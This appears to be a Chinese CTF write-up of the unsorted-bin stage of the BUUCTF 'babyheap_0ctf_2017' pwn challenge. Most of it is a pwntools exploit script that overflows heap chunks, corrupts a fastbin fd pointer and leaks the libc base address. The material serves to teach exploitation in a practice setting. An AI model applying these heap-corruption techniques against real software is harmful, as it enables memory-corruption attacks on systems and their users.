BUUCTF Pwn babyheap_0ctf_2017 Unsorted bin attack部分

checksec exeinfo

开启了全保护 64位

查看函数:

堆题 增删查改齐了

可以在编辑堆的时候重新设置大小 存在堆溢出

delete函数的指针清零了 无UAF

想法是通过unsorted bin泄露libc基址:

from pwn import *

p = process('./babyheap')
#p = remote("node5.buuoj.cn", 25783)
context.log_level = 'debug'

def add(size):
    p.sendlineafter("Command: ", str(1))
    p.sendlineafter("Size: ", str(size))

def edit(index, size, content):
    p.sendlineafter("Command: ", str(2))
    p.sendlineafter("Index: ", str(index))
    p.sendlineafter("Size: ", str(size))

    p.sendlineafter("Content: ", content)
def delete(index):
    p.sendlineafter("Command: ", str(3))
    p.sendlineafter("Index: ", str(index))

def show(index):
    p.sendlineafter("Command: ", str(4))
    p.sendlineafter("Index: ", str(index))

add(0x10) #chunk0 方便修改接下来的chunk 
add(0x10) #chunk1 让chunk2变为fastbin的fd指针先指向它
add(0x10) #chunk2 修改fd 使其指向chunk4
add(0x10) #chunk3 方便让chunk4绕过fastbin检查并复原
add(0x80) #chunk4 最终unsortedbin指针的存放处
delete(1) 
delete(2) 

gdb.attach(p)
pause()

payload = p64(0) * 3 + p64(0x21) + p64(0) * 3 + p64(0x21) + p8(0x80)
edit(0, len(payload), payload)
#将chunk2的末8位改为0x80(指向chunk4)

payload = p64(0) * 3 + p64(0x21)
edit(3, len(payload), payload)
#暂时修改chunk4的大小使其能够被加入fastbin链表

add(0x10)
add(0x10)
#两次malloc0x10让第二次的malloc为chunk4

payload = p64(0) * 3 + p64(0x91)
edit(3, len(payload), payload)
#大小改回来

add(0x80)
delete(4)
pause()
#此时chunk4进入了unsorted bin链表 此时chunk2指向chunk4
show(2)
p.recvline()
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\0')) - 0x3c4b78
print(hex(libc_base))
pause()

偏移使用gdb查看:

图示:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值